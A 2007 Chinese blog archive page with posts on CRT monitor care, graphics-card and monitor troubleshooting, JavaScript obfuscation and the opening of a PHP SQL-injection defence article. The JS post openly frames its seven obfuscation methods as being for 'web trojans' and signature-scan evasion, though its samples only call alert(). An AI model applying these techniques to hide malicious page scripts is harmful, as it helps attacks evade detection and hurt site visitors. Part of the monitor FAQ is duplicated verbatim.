2007年1月 - 查皮博客@blogbus - 博客大巴

2007年01月29日

问答！显示器故障及解决不完全手册

问答！显示器故障及解决不完全手册
　　目前家中有电脑的用户，显示器多半都是采用CRT显像管的机种，而关于此种显示器，想必大家应该积累了不少使用上的疑问。为此，我们特意对整理出的一些常见问题进行解答，希望对各位在使用显示器的观念上能有所帮助。
　　问：为什么有些显示器在开机的时候会发出“啪”的一声？
　　答：显示器在连接电源开关后，其内部的消磁线圈就会开始工作，以消除周围磁场对显像管的影响，保证显示器不会因磁化导致影像及色彩失真。开机的时候会听到“啪”的一声是由于消磁电流（比正常工作电流大得多）通过消磁线圈产生的声音，这与显示器在工作的时候会发出“吱吱”的声音有相似之处。不同的是，变压器工作电流很小而且是连续的；显示器消磁电流是瞬间的而且强度很大，显示器越高档就越注重消磁线圈的作用。例如：一些高档显示器在消磁电路设计中使用了日本松下生产的继电器（由于松下继电器可靠性很高，能承受大电流冲击，因而赢得了很多厂商的青睐）。这种继电器在切换工作状态时会产生更大的声音，不过大家并不用担心，因为它不会给显示器造成负面影响。
　　问：摆放显示器时应注意哪些问题？
　　答：显示器的合理摆放对能否正常工作很重要，所谓合理摆放就是要防止外加磁场造成的干扰。一些用户习惯将音箱摆放在显示器两旁，这个习惯很不好，虽然大多数音箱都宣传已经做过消磁处理但很难保证一点磁泄漏都没有，因此笔者还是奉劝大家把音箱远离显示器。除了音箱外，还有很多物体会带有磁场而且不易被发现，当你发现显示器出现莫名其妙的抖动或偏色等现象，而显示器设置又没有问题，这时就很可能是磁场在作怪，要尽快予以处理。
　　问：无意间震动显示器为何会出现画面晃动及色斑？
　　答：这主要是针对采用Sony Trinitron显像管的显示器而言。由于Trinitron显像管内部荫栅板架构脆弱，因此建议使用者注意避免各种震动，更不要拍打显示器，否则荫栅板受到冲击后会产生不良反应。这样的情况下会造成部分垂直金属丝晃动纠缠。再者由于特丽珑显像管对地球磁场比较敏感，建议使用时最好面向东方，并且使用时不要随意更换方向，同时尽量避开磁场，一旦出现磁化现象，轻微者可借助显示器自带的手动消磁方法消磁，严重者只好使用专用消磁工具进行处理。
　　问：显示器的保养是否重要？
　　答：鉴于显示器长期处在各种复杂环境中，容易受到包括温度、静电、湿度、灰尘、电磁干扰、电源不稳定等因素影响，因此显示器的保养不仅很有必要，而且还直接关系到显示器的使用寿命。所以保养显示器非常重要。据不完全统计，显示器发生故障有50%是由于环境条件差引起的，另外操作不当或使用不善而引起的故障也占了30%，而真正属于品质问题或者故障引起损坏的只占20%。可见环境条件和人为因素是造成显示器故障的主要原因。因此了解和掌握显示器的一般维护和保养方法就显得非常必要。
　　问：温度对显示器会造成什么影响？
　　答：显示器是电脑系统的一大热源，像电源变压器、水平输出高压包、晶体管、模拟IC模块、各种大电流驱动线圈、显像管等都是工作热量很高的部件。大多数用户都知道，长时间在过高的环境温度下工作，不仅会使很多元件的性能和使用寿命大打折扣，而且还可能导致个别焊点脱落造成开路，使显示器工作中出现故障，同时元器件也会加速老化，最终轻则导致电脑“罢工”，重者可能烧毁元件。因此注意散热是降低显示器温度最重要的环节，也就是说在显示器周围必须留下足够的空间，在炎热的夏季，只要条件允许最好把显示器放在有空调的房间中，或者用电风扇吹之进行强制散热。
　　问：温度自适应功能起什么作用？
　　答：由于玻璃屏幕和磷光粉都会随温度的变化产生膨胀或收缩，使电子束投射过程中出现偏差（投射到错误的荧光点上），运用温度感应器后可以侦测到环境温度，控制LCC做出相应的调整（幅度为正负5毫米），这就可修正电子束投错位置的问题。另外，电子束投射过程中的电子枪束热量导致栅栏发热膨胀，投射错误会造成色彩模糊。电子流相感应器将电子束的总量信息传送到微处理器中，微处理器计算出正确的值来改变线圈电流及控制电子束轨道，做出幅度正负10微米以内的修正。
　　问：强光照射对显示器是否有影响？
　　答：显示器受阳光或者其他强光照射时间长，易加速显像管老化，后果就是降低发光效率。另外，强光照射下对长时间使用显示器的用户也容易使眼睛受到损伤。那么应该怎样避免呢？笔者建议不要把显示器放在阳光照射强烈的地方，实在没有办法时也可以套一块深色的装饰布减轻光照强度。而光线也不能过低，否则同样会对使用者的眼睛造成伤害。
　　问：灰尘对显示器是否会造成影响？
　　答：由于显示器内部具有高达20kV~30kV的高压，这样高的电压极易吸引空气中的尘埃粒子，而灰尘对电脑构成的威胁不容忽视。从大量的维修品中可以看出，在灰尘比较大的环境中工作，由于PCB（印刷电路板）会吸附灰尘，而灰尘的沉积会影响电子元器件的热量散发，这将导致元件温度上升，进而出现热稳定性下降甚至产生漏电，严重时导致烧毁。另外，灰尘也会吸收水分，腐蚀显示器内部的电子线路，造成一些莫名其妙的短路问题。所以灰尘体积虽小，但对显示器的危害不可低估。防止灰尘最有效的办法就是将显示器放置在干净清洁的环境中，而除了环境清洁外，最好给显示器配上一个专用的防尘罩。
　　问：湿度对显示器的影响有哪些？
　　答：当室内的湿度保持在30%~80%之间显示器能正常工作，但是一旦湿度高于80%，显示器内部就会产生结露现象。其内部的电源变压器和其他线圈受潮后容易产生漏电，导致绝缘性下降，甚至有可能被腐蚀出现断线，而显示器的高压部件则极易产生放电现象，出现干扰跳火等，严重时导致因绝缘性能被破坏而被烧毁。此外，机内元件线路亦会受影响，重则至烧毁。可见，室内湿度过大对显示器正常工作会产生致命影响，那么应该如何避免呢？笔者的建议，显示器注意防潮，关键在梅雨季节，对于长时间不用的显示器也一定要定时通电工作一段时间，让显示器工作产生的热量将机内的潮气驱散出去；也可以拆开后盖，用电吹风机对关键部位进行加热。
　　问：温度对显示器会造成什么影响？
　　答：显示器是电脑系统的一大热源，像电源变压器、水平输出高压包、晶体管、模拟IC模块、各种大电流驱动线圈、显像管等都是工作热量很高的部件。大多数用户都知道，长时间在过高的环境温度下工作，不仅会使很多元件的性能和使用寿命大打折扣，而且还可能导致个别焊点脱落造成开路，使显示器工作中出现故障，同时元器件也会加速老化，最终轻则导致电脑“罢工”，重者可能烧毁元件。因此注意散热是降低显示器温度最重要的环节，也就是说在显示器周围必须留下足够的空间，在炎热的夏季，只要条件允许最好把显示器放在有空调的房间中，或者用电风扇吹之进行强制散热。
　　问：温度自适应功能起什么作用？
　　答：由于玻璃屏幕和磷光粉都会随温度的变化产生膨胀或收缩，使电子束投射过程中出现偏差（投射到错误的荧光点上），运用温度感应器后可以侦测到环境温度，控制LCC做出相应的调整（幅度为正负5毫米），这就可修正电子束投错位置的问题。另外，电子束投射过程中的电子枪束热量导致栅栏发热膨胀，投射错误会造成色彩模糊。电子流相感应器将电子束的总量信息传送到微处理器中，微处理器计算出正确的值来改变线圈电流及控制电子束轨道，做出幅度正负10微米以内的修正。
　　问：强光照射对显示器是否有影响？
　　答：显示器受阳光或者其他强光照射时间长，易加速显像管老化，后果就是降低发光效率。另外，强光照射下对长时间使用显示器的用户也容易使眼睛受到损伤。那么应该怎样避免呢？笔者建议不要把显示器放在阳光照射强烈的地方，实在没有办法时也可以套一块深色的装饰布减轻光照强度。而光线也不能过低，否则同样会对使用者的眼睛造成伤害。
　　问：灰尘对显示器是否会造成影响？
　　答：由于显示器内部具有高达20kV~30kV的高压，这样高的电压极易吸引空气中的尘埃粒子，而灰尘对电脑构成的威胁不容忽视。从大量的维修品中可以看出，在灰尘比较大的环境中工作，由于PCB（印刷电路板）会吸附灰尘，而灰尘的沉积会影响电子元器件的热量散发，这将导致元件温度上升，进而出现热稳定性下降甚至产生漏电，严重时导致烧毁。另外，灰尘也会吸收水分，腐蚀显示器内部的电子线路，造成一些莫名其妙的短路问题。所以灰尘体积虽小，但对显示器的危害不可低估。防止灰尘最有效的办法就是将显示器放置在干净清洁的环境中，而除了环境清洁外，最好给显示器配上一个专用的防尘罩。
　　问：湿度对显示器的影响有哪些？
　　答：当室内的湿度保持在30%~80%之间显示器能正常工作，但是一旦湿度高于80%，显示器内部就会产生结露现象。其内部的电源变压器和其他线圈受潮后容易产生漏电，导致绝缘性下降，甚至有可能被腐蚀出现断线，而显示器的高压部件则极易产生放电现象，出现干扰跳火等，严重时导致因绝缘性能被破坏而被烧毁。此外，机内元件线路亦会受影响，重则至烧毁。可见，室内湿度过大对显示器正常工作会产生致命影响，那么应该如何避免呢？笔者的建议，显示器注意防潮，关键在梅雨季节，对于长时间不用的显示器也一定要定时通电工作一段时间，让显示器工作产生的热量将机内的潮气驱散出去；也可以拆开后盖，用电吹风机对关键部位进行加热。

Tag：显示器故障解决

chapi 发表于23时38分23秒 | 阅读全文 | 评论 0 | 编辑 | 分享
2007年01月29日

经验谈：显卡及显示器故障处理技巧

经验谈：显卡及显示器故障处理技巧

　　显卡是计算机系统里的重要配件之一，它能将CPU处理后的数据信号“翻译”成显示器能显示的模拟信号，与显示器组成了电脑的显示子系统。正常情况下，显卡故障率并不高，但随着应用增多和性能的提升，显卡故障率也在呈增长趋势。而显示器作为计算机主要的输出设备，其质量的好坏直接关系着使用效果，但对它来说——有些朋友们还比较陌生。下面就它们常见故障的真正“发病”原因和正确的处理办法进行说明，希望对大家有所帮助！

　　一、显卡常见故障的处理

　　1、显卡驱动未能正常安装

　　我们在安装显卡驱动程序时，经常会遇到提示安装失败的麻烦，而且采用不同版本的驱动也无法解决问题，应该怎样正确地安装显卡驱动程序呢？(1)在机器启动的时候，按“Del”键进入BIOS设置，找到“Chipset Features Setup”选项，将里面的“Assign IRQ To VGA”设置为“Enable”，然后保存退出。许多显卡，特别是Matrox的显卡，当此项设置为“Disable”时一般都无法正确安装其驱动。另外，对于ATI显卡，要先将显卡设置为标准VGA显卡后再安装附带驱动。(2)在安装好操作系统以后，一定要安装主板芯片组补丁程序，特别是对于采用VIA芯片组的主板而言，一定要记住安装主板最新的4IN1补丁程序。(3)安装驱动程序：进入“设备管理器”后，右键单击“显示卡”下的显卡名称，然后点击右键菜单中的“属性”。进入显卡属性后点击“驱动程序”标签，选择“更新驱动程序”，然后选择“显示已知设备驱动程序的列表，从中选择特定的驱动程序”，当弹出驱动列表后，选择“从磁盘安装”。接着点击“浏览”按钮，在弹出的查找窗口中找到驱动程序所在的文件夹，按“打开”按钮，最后确定。此时驱动程序列表中出现了许多显示芯片的名称，根据你的显卡类型，选中一款后按“确定”完成安装。如果程序是非WHQL版，则系统会弹出一个警告窗口，不要理睬它，点击“是”继续安装，最后根据系统提示重新启动电脑即可。另外，显卡安装不到位，往往也会引起驱动安装的错误，因此在安装显卡时，一定要注意显卡金手指要完全插入AGP插槽。

　　2、电脑启动时黑屏故障

　　启动电脑时，如果显示器出现黑屏现象，且机箱喇叭发出一长两短的报警声，则说明很可能是显卡引发的故障。首先要确定一下是否由于显卡接触不良引发的故障：关闭电源，打开机箱，将显卡拔出来，然后用毛笔刷将显卡板卡上的灰尘清理掉，特别是要注意将显卡风扇及散热片上的灰尘处理掉。接着用橡皮擦来回擦拭板卡的“金手指”。完成这一步之后，将显卡重新安装好(一定要将挡板螺丝拧紧)，看故障是否已经解决。另外，针对接触不良的显示卡，比如一些劣质的机箱背后挡板的空档不能和主板AGP插槽对齐，在强行上紧显示卡螺丝以后，过一段时间可能导致显示卡的PCB变形的故障，只要尝试着松开显示卡的螺丝即可。如果使用的主板AGP插槽用料不是很好，AGP槽和显示卡PCB不能紧密接触，你可以使用宽胶带将显示卡挡板固定，如果还觉得不把握就把显示卡两边的机箱都装上，把显示卡的挡板夹在中间。如果你的显示卡金手指遇到了氧化问题，而且使用橡皮清除锈渍显示卡后仍不能正常工作的话，可以使用除锈剂清洗金手指，然后在金手指上轻轻的敷上一层焊锡，以增加金手指的厚度，但一定注意不要让相邻的金手指之间短路。

　　如果通过上面的方法不能解决问题的话，则可能是显卡与主板有兼容问题，此时可以另外拿一块显卡插在主板上，如果故障解除，则说明兼容问题存在。当然，用户还可以将该显卡插在另一块主板上，如果也没有故障，则说明这块显卡与原来的主板确实存在兼容问题。对于这种故障，最好的解决办法就是换一块显卡或者主板。还有一种情况值得注意，那就是显卡硬件上出问题了，一般是显示芯片或显存烧毁，建议将显卡拿到别的机器上试一试，若确认是显卡问题就只能更换了。

　　3、显示花屏的故障

　　显卡花屏是一种比较常见的显示故障，大部分显卡花屏的故障都是由显卡本身引起的。如果开机显示就花屏的话，首先应检查显卡是不是存在散热问题，用手触摸一下显存芯片的温度，看看显卡的风扇是否停转。再有要检查一下主板上的AGP插槽里是否有灰尘，看看显卡的金手指是否被氧化了，然后可根据具体情况把灰尘清除掉，用橡皮擦把金手指的氧化部分擦亮。如果散热的确有问题的话，我们可以采用换个风扇或在显存上加装散热片的方法解决。如果是在玩游戏或做3D时出现花屏的话，就要考虑到是不是由于显卡驱动与程序本身不兼容或驱动存在BUG而造成的了，可以换一个版本的显卡驱动试一试。如果以上方法不能解决问题，可以尝试着刷新显卡的BIOS，去显卡厂商的主页看看有没更新的BIOS下载。但是要注意——同一厂商同一型号的显示卡的BIOS文件往往也是不相同的，所以说刷新BIOS还是有一定风险的。

　　还有一种情况，由于显示器或显卡不支持高分辨率往往也会造成显示花屏的故障。遇到这类故障时我们可切换启动模式到安全模式，在Win 98下进入显示设置，在16色状态下点选“应用”、“确定”按钮。重新启动，在Windows 98系统正常模式下删掉显卡驱动程序，然后重新启动计算机即可。当然也可以在纯DOS的环境下，编辑SYSTEM.INI文件，将display.drv=pnpdrver改为display.drv=vga.drv后，存盘退出，再在Windows里更新驱动程序，即解决问题。除此之外，扩显存不当也很容易导致花屏，为了避免麻烦——在扩显存时应使用相同品牌、相同速度的显存。

　　二、CRT显示器常见故障

　　目前大家最常用的还是CRT显示器，但随着使用时间增加，CRT显示器的内部元件部分参数也会发生变化，导致显示器出现故障，而这些故障很多是可以通过调整显示器内部某些可调元件解决的。不过由于显示器内有高压电源，出现比较严重的异常问题后应及时送专业维修点维修，而不要自己随意处理，以免出现火灾、人身伤害等危险。

　　1、显示器出现偏色问题

　　显示器出现偏色的现象也是我们常遇到的问题，其产生的原因主要有：显示器靠近磁性物品被磁化；搬动显示器后，使机内偏转线圈发生移位，产生色纯不良；消磁电路损坏等。当然应首先排除显卡及显示信号线的问题，很多时候信号线接触不良将导致显示器出现偏色的问题。

　　而大多数情况下很可能是显示器被磁化导致。CRT显示器会被有强磁场的东西所磁化而出现偏色的问题，比如未经磁屏蔽的低音喇叭等，一般较好的显示器自身带有一定的消磁功能，但对于较严重的磁化就有些无能为力了。这时你需要用专门设备进行消磁。消磁器可购买，也可自制。但无论哪种消磁法，朋友们都要注意安全。通电后手握消磁器不断晃动，逐渐靠近荧光屏，对带磁部位可反复进行，然后一边晃动消磁器一边后退到离荧光屏2米左右再关掉电源。每次通电时间不宜过长，如果一次消磁效果不好可反复进行几次。

　　如果是由于搬动显示器后造成的偏色问题，我们可打开显示器后盖将偏转线圈恢复到原来的位置，并将偏转线圈螺钉拧紧即可。对于因机内消磁电路损坏引起的色纯不良，可先检查一下热敏消磁电阻是否损坏，将其取下，用手摇如发出“哗哗”的声音，则为热敏电阻已坏。用万用表查其引脚电阻值，如阻值小于8欧或大于50欧则说明消磁电阻内RTC元件已坏，没有办法只能换新了。如消磁电阻阻值正常的话，则应重点检查消磁线圈的引线，插头，插座之间有无松动和接触不良的问题。

　　另外，还有一个令人容易忽视的故障原因——屏幕灰尘过多也会导致屏幕显示白色时偏红！此类故障多发生在色温偏暖的显示器中(很多显示器能自行设置色温)，所以说，遇到白色(和相近颜色)偏红故障时您最好是先清洁一下显示屏后再进行其它的检查，如果故障消失——您就可以少走弯路了！当然，某些机型的亮度值设置得过低也会造成这一“故障”的现象。

　　2、无法调整刷新频率故障

　　在“显示属性”中显示器刷新频率无法调整的问题，恐怕朋友们都曾遇到过吧！其实无法调整显示器刷新频率大多是因为我们没有选择正确的显示器类型或者显卡的驱动程序安装不正确所造成的。显示器类型的选择往往容易被忽视，许多用户将显示器类型设为“SUPER VGA”之类，结果就会造成无法调整显卡的刷新频率的问题。要知道错误的刷新频率参数有可能对显示器产生危害，所以对于系统不能识别的显示器，应一律按照最保守的默认状态进行设置(60Hz)。解决的方法就是在显示属性中选择正确的显示器类型，如果你使用的是Windows不能识别的，可以随便选择一个性能接近的产品替代。如果是驱动程序的原因，用户重新安装驱动程序即可，因为有时突然死机后，显卡的驱动就丢失了。

　　再有，显示器的刷新率不要设置的太高，超过其标准刷新率太多，确实会烧坏显示器或缩短其寿命。为此显示器最好安装自己的驱动，不要盲目使用高档显示器的驱动。其次，Windows中“隐藏显示器不支持的刷新率”项也不要去掉，否则会导致用户使用显示器不支持的刷新率。

　　3、显示器屏幕抖动故障

　　有时候显示器会莫名其妙的抖动起来，而你眼看着屏幕不停的抖动可就不知道是什么原因，是不是很烦人啊！这种状态会造成电脑使用者眼睛的疲劳，久而久之还会给电脑使用者带来眼疾。造成此类故障的原因有以下几个方面：

　　(1)劣质电源或电源设备已经老化：往往杂牌电脑电源所使用的元件、用料都是很差的，很容易造成电脑的电路不畅或供电能力跟不上，当系统繁忙时，显示器尤其会出现屏幕抖动的现象。电脑的电源设备开始老化时，也容易造成相同的问题。

　　(2)显示器刷新频率设置不正确：把显示器的分辨率和刷新率设置得偏高或过低的话也可能造成此类故障，所以您可把分辨率和刷新率设置成中间值试试(注：长期工作于超频状态会使某些元件老化而出现此故障，而且故障点比较难找)。

　　(3)显示卡接触不良：重插显示卡后，故障即可得到解决。

　　(4)病毒作怪：有些计算机病毒会扰乱屏幕显示。

　　(5)Windows 95/98系统后写缓存引起：如属于这种原因，在控制面板→系统→性能→文件系统→疑难解答中禁用所有驱动器后写式高速缓存，即可解决问题。

　　(6)电源滤波电容损坏：打开机箱，如果看到电源滤波电容(电路板上个头最大的电容)顶部鼓起，说明电容已坏。换个电容问题解决。

　　(7)音箱与显示器放得太近：有些音箱的磁场效应会干扰显示器的正常工作。

　　(8)电源变压器离显示器和机箱太近：许多外设电源变压器(扫描仪、打印机等)工作时会造成较大的电磁干扰，造成屏幕抖动。把电源变压器放在远离机箱和显示器的地方，问题即可解决。

　　三、液晶显示器常见故障

　　1、出现水波纹和花屏问题

　　首先要做的事情就是仔细检查一下电脑周边是否存在电磁干扰源，然后更换一块显卡，或将显示器接到另一台电脑上，确认显卡本身没有问题，再调整一下刷新频率。如果排除以上原因，很可能就是该液晶显示器的质量问题了，比如存在热稳定性不好的问题。出现水波纹是液晶显示器比较常见的质量问题，自己无法解决，建议尽快更换或送修。

　　有些液晶显示器在启动时会出现花屏问题，给人的感觉就好像有高频电磁干扰一样，屏幕上的字迹非常模糊且呈锯齿状。这种现象一般是由于显卡上没有数字接口，而通过内部的数字/模拟转换电路与显卡的VGA接口相连接。这种连接形式虽然解决了信号匹配的问题，但它又带来了容易受到干扰而出现失真的问题。究其原因，主要是因为液晶显示器本身的时钟频率很难与输入模拟信号的时钟频率保持百分之百的同步，特别是在模拟同步信号频率不断变化的时候，如果此时液晶显示器的同步电路，或者是与显卡同步信号连接的传输线路出现了短路、接触不良等问题，而不能及时调整跟进以保持必要的同步关系的话，就会出现花屏的问题。

　　2、显示分辨率设定不当

　　由于液晶显示器的显示原理与CRT显示器完全不同，它是属于一种直接的像素一一对应显示方式。工作在最佳分辨率下的液晶显示器把显卡输出的模拟显示信号通过处理，转换成带具体地址信息(该像素在屏幕上的绝对地址)的显示信号，然后再送入液晶板，直接把显示信号加到相对应的像素上的驱动管上，有些跟内存的寻址和写入类似。所以液晶显示器的屏幕分辨率不能随意设定，而传统的CRT显示器对于所支持的分辨率较有弹性。LCD只能支持所谓的“真实分辨率”，而且只有在真实分辨率下，才能显现最佳影像。当设置为真实分辨率以外的分辨率时，一般通过扩大或缩小屏幕显示范围，显示效果保持不变，超过部分则黑屏处理。比如液晶显示器工作在低分辨率下800*600的时候，如果显示器仍然采用像素一一对应的显示方式的话，那就只能把画面缩小居中利用屏幕中心的那800*600个像素来显示，虽然画面仍然清晰，但是显示区域太小，不仅在感觉上不太舒服而且对于价格昂贵的液晶显示板也是一种极大的浪费。另外也可使用插值等方法，无论在什么分辨率下仍保持全屏显示，但这时显示效果就会大打折扣。此外液晶显示器的刷新率设置与画面质量也有一定的关系。朋友们可根据自己的实际情况设置合适的刷新率，一般情况下还是设置为60Hz最好。

Tag：显卡显示器故障处理技巧

chapi 发表于23时31分43秒 | 阅读全文 | 评论 0 | 编辑 | 分享
2007年01月29日

JS脚本加密方法

JS脚本加密方法
本文一共介绍了七种方法：
一：最简单的加密解密
二：转义字符"\"的妙用
三：使用Microsoft出品的脚本编码器Script Encoder来进行编码（自创简单解码）
四：任意添加NUL空字符（十六进制00H）（自创）
五：无用内容混乱以及换行空格TAB大法
六：自写解密函数法
七：错误的利用（自创）
　　在做网页时（其实是网页木马呵呵），最让人烦恼的是自己辛辛苦苦写出来的客户端IE运行的JAVASCRIPT代码常常被别人轻易的拷贝，实在让自己的心里有点不是滋味，要知道自己写点东西也挺累的......^*^
　　但我们也应该清楚地认识到因为JAVASCRIPT代码是在IE中解释执行，要想绝对的保密是不可能的，我们要做的就是尽可能的增大拷贝者复制的难度，让他知难而退（但愿~!~），下面我结合自己这几年来的实践，及个人研究的心得，和大家一起来探讨一下网页中JAVASCRIPT代码的加密解密技术。
　　以加密下面的JAVASCRIPT代码为例：
＜SCRIPT LANGUAGE="JavaScript"＞
alert("《黑客防线》");
＜/SCRIPT＞
　　一：最简单的加密解密
　　大家对于JAVASCRIPT函数escape()和unescape()想必是比较了解啦（很多网页加密在用它们），分别是编码和解码字符串，比如例子代码用escape()函数加密后变为如下格式：
alert%28%22%u9ED1%u5BA2%u9632%u7EBF%22%29%3B
如何？还看的懂吗？当然其中的ASCII字符"alert"并没有被加密，如果愿意我们可以写点JAVASCRIPT代码重新把它加密如下：
%61%6C%65%72%74%28%22%u9ED1%u5BA2%u9632%u7EBF%22%29%3B
呵呵！如何？这次是完全都加密了！
当然，这样加密后的代码是不能直接运行的，幸好还有eval(codeString)可用，这个函数的作用就是检查JavaScript代码并执行，必选项 codeString 参数是包含有效 JavaScript 代码的字符串值，加上上面的解码unescape()，加密后的结果如下：
＜SCRIPT LANGUAGE="JavaScript"＞
var code=unescape("%61%6C%65%72%74%28%22%u9ED1%u5BA2%u9632%u7EBF%22%29%3B");
eval(code)
＜/SCRIPT＞
是不是很简单？不要高兴，解密也就同样的简单，解密代码都摆给别人啦（unescape()）！呵呵
　　二：转义字符"\"的妙用
　　大家可能对转义字符"\"不太熟悉，但对于JavaScript提供了一些特殊字符如：\n （换行）、 \r （回车）、\' （单引号）等应该是有所了解的吧？其实"\"后面还可以跟八进制或十六进制的数字，如字符"a"则可以表示为："\141"或"\x61"（注意是小写字符"x"），至于双字节字符如汉字"黑"则仅能用十六进制表示为"\u9ED1"（注意是小写字符"u"），其中字符"u"表示是双字节字符，根据这个原理例子代码则可以表示为：
八进制转义字符串如下:
＜SCRIPT LANGUAGE="JavaScript"＞
eval("\141\154\145\162\164\50\42\u9ED1\u5BA2\u9632\u7EBF\42\51\73")
＜/SCRIPT＞
十六进制转义字符串如下:
＜SCRIPT LANGUAGE="JavaScript"＞
eval("\x61\x6C\x65\x72\x74\x28\x22\u9ED1\u5BA2\u9632\u7EBF\x22\x29\x3B")
＜/SCRIPT＞
　　这次没有了解码函数，因为JavaScript执行时会自行转换，同样解码也是很简单如下：
＜SCRIPT LANGUAGE="JavaScript"＞
alert("\x61\x6C\x65\x72\x74\x28\x22\u9ED1\u5BA2\u9632\u7EBF\x22\x29\x3B")
＜/SCRIPT＞
就会弹出对话框告诉你解密后的结果！三：使用Microsoft出品的脚本编码器Script Encoder来进行编码
　　工具的使用就不多介绍啦！我是直接使用JavaScript调用控件Scripting.Encoder完成的编码！代码如下：
＜SCRIPT LANGUAGE="JavaScript"＞
var Senc=new ActiveXObject("Scripting.Encoder");
var code='＜SCRIPT LANGUAGE="JavaScript"＞\r\nalert("《黑客防线》");\r\n＜\/SCRIPT＞';
var Encode=Senc.EncodeScriptFile(".htm",code,0,"");
alert(Encode);
＜/SCRIPT＞
编码后的结果如下：
＜SCRIPT LANGUAGE="JScript.Encode"＞#@~^FgAAAA==@#@&lsDD`J黑客防线r#p@#@&FgMAAA==^#~@＜/SCRIPT＞
够难看懂得吧？但相应的解密工具早已出来，而且连解密网页都有！因为其解密网页代码过多，我就不多说拉！给大家介绍一下我独创的解密代码，如下：
＜SCRIPT LANGUAGE="JScript.Encode"＞
function decode(){
#@~^FgAAAA==@#@&lsDD`J黑客防线r#p@#@&FgMAAA==^#~@
}
alert(decode.toString());
＜/SCRIPT＞
咋样？够简单吧？它是原理是：编码后的代码运行前IE会先对其进行解码，如果我们先把加密的代码放入一个自定义函数如上面的decode()中，然后对自定义函数decode调用toString()方法，得到的将是解码后的代码！
如果你觉得这样编码得到的代码LANGUAGE属性是JScript.Encode，很容易让人识破，那么还有一个几乎不为人知的window对象的方法execScript()，其原形为：
window.execScript( sExpression, sLanguage )
参数：
sExpression: 必选项。字符串(String)。要被执行的代码。
sLanguage　: 必选项。字符串(String)。指定执行的代码的语言。默认值为 Microsoft JScript
使用时，前面的"window"可以省略不写！
利用它我们可以很好的运行编码后的JavaScript代码，如下：
＜SCRIPT LANGUAGE="JavaScript"＞
execScript("#@~^FgAAAA==@#@&lsDD`J黑客防线r#p@#@&FgMAAA==^#~@","JScript.Encode")
＜/SCRIPT＞
你可以利用方法二对其中的""号内的字符串再进行编码，使得"JScript.Encode"以及编码特征码"#@~^"不出现，效果会更好！
　　四：任意添加NUL空字符（十六进制00H）
　　一次偶然的实验，使我发现在HTML网页中任意位置添加任意个数的"空字符"，IE照样会正常显示其中的内容，并正常执行其中的JavaScript 代码，而添加的"空字符"我们在用一般的编辑器查看时，会显示形如空格或黑块，使得原码很难看懂，如用记事本查看则"空字符"会变成"空格"，利用这个原理加密结果如下：（其中显示的"空格"代表"空字符"）
＜S C RI P T L ANG U A G E =" J a v a S c r i p t "＞
a l er t (" 黑客防线") ;
＜ / SC R I P T＞
如何？是不是显得乱七八糟的？如果不知道方法的人很难想到要去掉里面的"空字符"（00H）的！
　　五：无用内容混乱以及换行空格TAB大法
　　在JAVASCRIPT代码中我们可以加入大量的无用字符串或数字，以及无用代码和注释内容等等，使真正的有用代码埋没在其中，并把有用的代码中能加入换行、空格、TAB的地方加入大量换行、空格、TAB，并可以把正常的字符串用"\"来进行换行，这样就会使得代码难以看懂！如我加密后的形式如下：
＜SCRIPT LANGUAGE="JavaScript"＞
"xajgxsadffgds";1234567890
625623216;var $=0;alert//@$%%&*()(&(^%^
//cctv function//
(//hhsaasajx xc
/*
asjgdsgu*/
"黑\
\
客\
防线"//ashjgfgf
/*
@#%$^&%$96667r45fggbhytjty
*/
//window
)
;"#@$#%@#432hu";212351436
＜/SCRIPT＞
至少如果我看到这样的代码是不会有心思去分析它的，你哪？
　　六：自写解密函数法
　　这个方法和一、二差不多，只不过是自己写个函数对代码进行解密，很多VBS病毒使用这种方法对自身进行加密，来防止特征码扫描！下面是我写的一个简单的加密解密函数，
加密代码如下（详细参照文件"加密.htm"）：
＜SCRIPT LANGUAGE="JavaScript"＞
function compile(code)
{
var c=String.fromCharCode(code.charCodeAt(0)+code.length);
for(var i=1;i＜code.length;i++){
c+=String.fromCharCode(code.charCodeAt(i)+code.charCodeAt(i-1));
}
alert(escape(c));
}
compile('alert("《黑客防线》");')
＜/SCRIPT＞
运行得到加密结果为：
o%CD%D1%D7%E6%9CJ%u9EF3%uFA73%uF1D4%u14F1%u7EE1Kd
相应的加密后解密的代码如下：
＜SCRIPT LANGUAGE="JavaScript"＞
function uncompile(code)
{
code=unescape(code);
var c=String.fromCharCode(code.charCodeAt(0)-code.length);
for(var i=1;i＜code.length;i++){
c+=String.fromCharCode(code.charCodeAt(i)-c.charCodeAt(i-1));
}
return c;
}
eval(uncompile("o%CD%D1%D7%E6%9CJ%u9EF3%uFA73%uF1D4%u14F1%u7EE1Kd"));
＜/SCRIPT＞
　　七：错误的利用
　　利用try{}catch(e){}结构对代码进行测试解密，虽然这个想法很好（呵呵，夸夸自己），因为实用性不大，我仅给个例子
＜SCRIPT LANGUAGE="JavaScript"＞
var a='alert("《黑客防线》");';
var c="";
for(var i=0;i＜a.length;i++){
c+=String.fromCharCode(a.charCodeAt(i)^61);}
alert(c);
//上面的是加密代码，当然如果真正使用这个方法时，不会把加密写上的
//现在变量c就是加密后的代码
//下面的函数t()先假设初始密码为０，解密执行，
//遇到错误则把密码加１，然后接着解密执行，直到正确运行
var d=c; //保存加密后的代码
var b=0; //假定初始密码为0
t();
function t(){
try{eval(c);}catch(e){
c="";
for(var i=0;i＜d.length;i++){
c+=String.fromCharCode(d.charCodeAt(i)^b);}
b+=1;
t();
//setTimeout("t()",0);
}
}
＜/SCRIPT＞

Tag：js 脚本加密 JavaScript

chapi 发表于23时30分31秒 | 阅读全文 | 评论 0 | 编辑 | 分享
2007年01月29日

在PHP中全面阻止SQL注入式攻击

在PHP中全面阻止SQL注入式攻击之一
一、引言
PHP是一种力量强大但相当容易学习的服务器端脚本语言，即使是经验不多的程序员也能够使用它来创建复杂的动态的web站点。然而，它在实现因特网服务的秘密和安全方面却常常存在许多困难。在本系列文章中，我们将向读者介绍进行web开发所必需的安全背景以及PHP特定的知识和代码-你可以借以保护你自己的web应用程序的安全性和一致性。首先，我们简单地回顾一下服务器安全问题-展示你如何存取一个共享宿主环境下的私人信息，使开发者脱离开生产服务器，维持最新的软件，提供加密的频道，并且控制对你的系统的存取。
然后，我们讨论PHP脚本实现中的普遍存在的脆弱性。我们将解释如何保护你的脚本免于SQL注入，防止跨站点脚本化和远程执行，并且阻止对临时文件及会话的“劫持”。
在最后一篇中，我们将实现一个安全的Web应用程序。你将学习如何验证用户身份，授权并跟踪应用程序使用，避免数据损失，安全地执行高风险性的系统命令，并能够安全地使用web服务。无论你是否有足够的PHP安全开发经验，本系列文章都会提供丰富的信息来帮助你构建更为安全的在线应用程序。
二、什么是SQL注入
